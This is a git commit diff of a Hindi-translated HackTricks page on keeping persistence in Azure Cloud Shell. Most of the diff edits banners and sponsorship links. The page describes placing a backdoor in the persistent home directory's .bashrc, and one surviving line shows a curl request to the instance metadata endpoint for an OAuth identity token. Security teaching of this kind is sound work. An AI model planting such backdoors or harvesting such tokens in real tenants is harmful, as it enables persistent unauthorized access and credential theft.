Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

This commit is contained in:
Translator
2025-02-09 14:59:15 +00:00
parent 168fdd94cb
commit e301eb62f4
14 changed files with 90 additions and 437 deletions

View File

@@ -1,26 +1,13 @@
# Az - Cloud Shell Persistence
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Shell Persistence
Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों क प्रबंध किया जा सके, जिसमें स्थायी भंडारण और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों क प्रबंधित किया जा सके, जिसमें स्थायी भंडारण और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
* **स्थायी भंडारण**: Azure Cloud Shell की होम डायरेक्टरी एक Azure फ़ाइल शेयर पर माउंट की गई है और सत्र समाप्त होने के बाद भी बरकरार रहती है।
* **स्टार्टअप स्क्रिप्ट**: फ़ाइलें जैसे .bashrc प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है।
* **Persistent Storage**: Azure Cloud Shell की होम डायरेक्टरी एक Azure फ़ाइल शेयर पर माउंट की गई है और सत्र समाप्त होने के बाद भी बरकरार रहती है।
* **Startup Scripts**: .bashrc जैसे फ़ाइलें प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है।
Example backdoor in .bashrc:
@@ -40,17 +27,4 @@ curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?a
{% endcode %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
{{#include ../../../banners/hacktricks-training.md}}